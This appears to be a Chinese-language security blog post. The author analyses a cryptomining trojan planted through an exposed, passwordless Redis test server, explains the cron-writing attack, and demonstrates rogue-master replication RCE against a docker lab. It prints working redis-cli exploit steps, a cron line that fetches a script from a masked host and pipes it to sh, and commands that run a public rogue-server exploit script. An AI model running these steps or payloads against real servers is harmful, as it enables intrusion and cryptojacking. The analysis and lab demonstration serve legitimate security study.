前段時間自己使用 redis 開發的時候,搞了一個 docker ,然後直接開放連接沒有密碼,其實一開始我就知道會被黑產掃到然後給我種馬,但是把因為也是測試服務,其實也沒怎麼上心,於是就放任自由了,結果第二天果然收到了一份新鮮的木馬。然後簡單對其入侵做了一個分析,結果發現沒有能攻擊成功,但是既然木馬 ...
前段時間自己使用 redis 開發的時候,搞了一個 docker ,然後直接開放連接沒有密碼,其實一開始我就知道會被黑產掃到然後給我種馬,但是把因為也是測試服務,其實也沒怎麼上心,於是就放任自由了,結果第二天果然收到了一份新鮮的木馬。然後簡單對其入侵做了一個分析,結果發現沒有能攻擊成功,但是既然木馬在了就簡單看看吧。
0X01 簡單回顧一下 redis 攻擊的過程
1.攻擊條件
(1)空密碼並且允許外部直接連接
註:這一點其實有很多細節
因為在 3.2 以後有了保護模式,保護模式的作用就是在沒有設置密碼 並且 沒有配置 bind 地址的時候強行只允許本機連接,但是對於綁定地址或者是配置過密碼的服務來講這一項可以忽略。
另外還有一個誤區就是這個綁定地址不是綁定外部的地址,而是綁定自己伺服器的允許作為與外部進行連接的 IP 地址,比如綁定自己伺服器的外網 IP,或者綁定 127.0.0.1 或者綁定 0.0.0.0 ,這個綁定 0.0.0.0 就是綁定了自己伺服器全部的 ip 地址(伺服器可以有很多的 ip ,比如內網 ip 、迴環 ip、外網 IP 等 ),因此其實對於一般的伺服器來說,綁定自己的外網 ip 和直接綁定 0.0.0.0 是沒區別的,不設置密碼的情況下去綁定外網 ip 起不到任何的保護作用,返回會因為綁定了地址讓保護模式失效遭受攻擊。
說一句題外話就是:想要安全的話設置了空密碼就要綁定內網地址,否則就老老實實設置密碼
(2)使用 root 許可權啟動 redis
高許可權用戶啟動的程式擁有和啟動該程式用戶一樣的許可權,這大大有利於攻擊者在控制了 redis 之後藉助這種高許可權去修改高許可權配置文件來完成攻擊(不過現在高版本的 redis 啟動預設都是 redis 許可權了而不是原來的 root 許可權)
(3)redis 在沒有保護措施的情況下也沒有修改預設埠
預設埠是 6379 ,很容易被掃到
(4)補充
Ubuntu 下執行 crontab 使用的是 sh , 而 sh 軟連接的是dash ,而不是 bash,那麼如果你直接在 cron 裡面寫 bash - i xx 的反彈是不可能成功的,解決方法有兩種,一種就是使用 Python 調用 /bin/sh 反彈 shell ,還有一種可以嘗試寫 sh 文件,然後用 cron 去執行
2.攻擊利用的機制
redis 的攻擊主要是利用 redis 的持久化存儲 RDB 或者 AOF(預設不開啟),所謂持久化就是一種快照機制,用來後期恢複數據。比如 RDB 可以在一定的條件下將當前記憶體的數存儲進一個 dump.rdb 文件中,如果下次想恢復這個數據的話,就需要將這個文件放在 redis 的快照保存目錄下,替換當前的 dump.rdb 再次重啟這樣就能恢複原始的數據了
觸發 RDB 的機制有以下幾種
1 在指定的時間間隔內,執行指定次數的寫操作 ———–>可以通過配置文件進行設置
2 執行save(阻塞, 只管保存快照,其他的等待) 或者是bgsave (非同步)命令 —-》手動保存
3 執行flushall 命令,清空資料庫所有數據 —->清除全部 Key 同時也會清除當前rdb
4 執行shutdown 命令,保證伺服器正常關閉且不丟失任何數據 ———->很好地保存數據不被清除
3.大概的攻擊流程
(1)修改 redis 的 rdb 文件的存放路徑為 root 用戶的 crontab 配置文件
設置 dir 到定時任務目錄
config set dir "/var/spool/cron"
設置持 rdb 文件名為root
config set dbfilename root
(2)使用 FLUSHALL 進行清除資料庫
127.0.0.1:6379> flushall
OK
這一步主要是想清除原始 root 文件的內容,也是為了避免不必要的格式錯誤
(3)在 redis 中寫入我們的 cron 語句
127.0.0.1:6379> set test "\n*/10 * * * * curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | sh\n"
OK
這裡的換行符是為了實現寫入時的格式良好,因為 cron 讀取的時候是一行一行讀取的,遇到格式不正確則丟棄
(4)強行觸發 rdb 更新
127.0.0.1:6379> save
至此我們的 cron 的數據就寫入到了 root 用戶的 cron 文件夾中了
(5)總結:
除了可以寫 cron 以外,寫一個 一句話 webshell 也是可以的,其實可以清楚地看到,redis 的成功攻擊除了依賴於 許可權配置的失誤以外,一句話 webshell 以及 cron 對格式要求的不嚴格也是一大重要因素。
0X02 再次回到這次的木馬分析
攻擊者也是一樣,直接 flushall 了我的全部的 key,然後直接給我寫一個名為 back 的 cron ,每一分鐘從他的伺服器上下載了一個腳本運行。
* * * * * curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | sh
-f:不輸出錯誤
-s: 靜默不輸出
-S: -s 條件下輸出錯誤
-L: 跟蹤重定向
在確定了攻擊者攻擊並沒有成功以後,我下載了木馬,然後簡單的分析了一下,看看有沒有什麼操作我沒有檢測到的。
1.看一下 main 函數整體的調用
可以說是非常的簡潔明瞭了,木馬開始運行以後依次調用了
mark()
background()
sethosts()
checkhost()
checkzigw()
initfiles()
checkcrontab()
checkssh()
kill()
checkservice()
clean()
從函數名字大概就能知道木馬做了些什麼,應該對 crontab ssh hosts 文件都做了修改,我們來一個一個看一看。
2.mark()
簡單的創建了一條命令,並通過 sys 函數進行執行,這個命令的作用是創建一個空文件,從 mark() 這個函數名字可以猜測來這個空文件的作用可能是做為一個該木馬有沒有成功運行起來的標記
3.background()
設置進程後臺運行,並改變工作目錄為根目錄
4.checkhost()
刪除主機原始的 hosts 文件然後,重新創建空的 hosts 文件,並添加一系列的功能變數名稱指向 127.0.0.1
而這些功能變數名稱經過訪問都是一些礦池
5.checkzigw()
檢測系統中是否存在 /etc/zigw、/tmp/zigw、/etc/zjgw,這些文件,如果有的話,就結束對應的進程並且刪除對應的文件
其中:chattr -ia 這條命令是關閉可能讓文件無法刪除的屬性,具體可以看 這裡
6.initfiles()
該函數的作用主要是下載挖礦木馬,並且修改 rm ,首先是會檢測當前的許可權,如果是 root 就把木馬下載到 /etc 目錄下,如果不是 root 的話就下載到 /tmp 目錄下
root 許可權
非 root 許可權
除了下載 pdvs 以外,還下載了 httpdz 和 migrations 這兩個文件,除此之外如果是在 root 許可權下就還有一個替換系統 rm 命令的操作
rm 文件只有一個函數,既然替換了這個文件,那麼一定是非常關鍵的東西,我們來分析一下
這腳本的地址是什麼呢?看一下 curlurl 變數的交叉引用
其實下載下來就是我們最上面分析的那個 sh 文件,也就是說這裡的替換實際上是一個雙重保險
7.checkcrontab()
該函數主要是對 /var/spool/cron/root 這個文件的內容進行檢查,看看是不是有自己寫的內容,如果沒有則調用命令重新寫入
另外這裡面還使用了 chattr 這個命令對文件的額外屬性進行添加和刪除,防止文件內容被輕易修改,例如:
chattr +i 防止系統中某個關鍵文件被修改
chadttr +a 讓某個文件只能往裡面追加數據,但不能刪除
8.checkssh()
root 許可權下可執行這個函數,檢查 /root/.ssh/authorized_keys 是否存在,不存在則重新創建
9.kill()
清理自己創建的一些進程和文件
10.checkservice()
檢測自己創建的系統服務存在,如果存在則設置開機自啟,如果不存在則重新創建這個服務,服務的作用就是下載這個木馬
下圖為檢測服務裡面的內容是不是自定義的
如果是的話就添加到系統服務並開啟
如果檢測到內容已經被修改了,那麼就刪除這個服務,並重新創建
11.clean()
該函數的主要作用是刪除一些留下的痕跡,包括 history 和登錄痕跡等
0X03 利用 Redis 主從複製來 RCE
1.基本原理
該攻擊方法使用的是 Redis 中的主從複製,以及 Redis4.x 中新引入的自定義模塊載入功能。
(1)先簡單解釋一下這兩個概念
主從複製的概念:
Redis是一個使用ANSI C編寫的開源、支持網路、基於記憶體、可選持久性的鍵值對存儲資料庫。雖然 Redi s 的讀寫速度都非常快,但如果當把數據都存儲在單個Redis的實例中,供客戶端去讀取的話, 那麼很有可能會產生伺服器難以承受的讀壓力。
為了緩解這樣的壓力,主從複製這樣的機制出現了,主從模式就是指使用 一個 redis實例作為主機(master),其他實例 都 作為從機(slave),主機只負責寫入數據,很多的從機負責讀,這就很想我們常常說的 CDN 負載均衡的功能,如下圖所示
那麼主從複製是如何進行的呢?
我們重點關註 RDB 文件部分,我們可以發現主從複製依賴的還是我們之前經常利用的 RDB 文件,slave 與 master 的同步就和 mysql 使用 Binlog 去恢複數據是一樣的。
Redis 4.x 自定義模塊載入:
Redis從4.0版本開始加入了對外部擴展模塊的支持(其實以前在unstable的版本時 redis 就支持社區的自定義模塊了)。外部擴展模塊可以實現新的Redis命令,新的Redis數據結構,總之基本上可以做到所有Redis內核可以做的事情。
Redis模塊需要引入redismodule.h,用C、C++或其他提供C binding的開發語言實現,並編譯成動態庫.so文件。
模塊的載入方式,一種是在配置文件redis.conf中使用loadmodule /path/to/mymodule.so在Redis啟動時載入。另一種方式在運行時使用命令MODULE LOAD /path/to/mymodule.so載入。載入的模塊可以使用命令MODULE LIST查看,使用MODULE UNLOAD mymodule卸載。
載入了模塊以後我們就能直接執行我們在模塊中自定義的命令了,這是不是有點像 MYSQL 的 UDF(其實就是一個道理)
(2)將兩者配合起來
slave 能主從複製機制從 master 獲取到 rdb 文件,那麼我們是不是可以自己寫一個 “流氓伺服器” 去模擬 master 然後將我們自定義的模塊通過這種主從複製機制傳遞到 slave 上,slave 端只要將,我們傳遞來的 rdb 文件保存成一個 .so 文件然後再去進行模塊載入,我們的攻擊就完成了
2.該種利用方法的優點
使用這種攻擊方法就可以完美的解決下麵兩個問題,直接實現在目標機器上 RCE
1.高版本 redis 啟動預設是以 redis 許可權啟動的,這也就意味著,我們沒法寫 crontab(寫文件形式修改 crontab 被禁用,只能通過交互 crontab -e 進行修改,但是對我們沒有用),可以寫 redis 用戶的 ssh key,但是由於是低許可權用戶,危害較小,當然我們可以寫 webshell(前提是這台伺服器上有裝 web 服務)
2.ubuntu 伺服器實際上用 bash 反彈比較費勁,只能考慮使用 python
3.利用條件
Redis 4.x
可以遠程連接到目標 redis 伺服器
4.利用的基本步驟
其實上面我們已經說了,這裡再細化一下
(1)在目標上執行, 將自己vps設置為master: SLAVEOF vps port
(2)在目標上執行,設置一下 dbfilename 為 xxx.so 文件
(3)通過同步,將模塊文件寫到目標的磁碟上: FULLRESYNC <Z*40> 1\r\n$ \r\n (4)在目標上執行,載入模塊: MODULE LOAD /tmp/exp.so
5.利用演示
(1)下載 redis 4.0 鏡像作為受害靶機
docker pull redis:4.0
(2)交互方式運行鏡像,將 6379 埠映射到主機的 6666 埠
docker run -p 6666:6379 -it 67f7ad418fdf /bin/bash
(3)在 docker 中啟動 redis 服務
redis-server
(4)啟動以後我們可以遠程連接看一下效果
可以看到遠端成功無許可權訪問我的 redis 資料庫,並且可以插入數據
(5)在主機中 clone 攻擊腳本(從土師傅的 git 上 fork 下來添加了個 .so)
git clone https://github.com/K0rz3n/redis-rogue-server-1.git
(6)運行腳本
python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6666 --lhost xxx.xxx.xxx.xxx --lport 2333
運行腳本後靶機就會把我們的 lhost 作為 master 然後自己做為 slave 了,並且會同步數據
靶機運行效果:
流氓伺服器運行效果:
註:這裡的 127 實際上是靶機,xxx 代表的是我的 “流氓伺服器”
(7)查看現在的 redis 伺服器
可以看出來,現在的資料庫以及淪為了只讀模式的 slave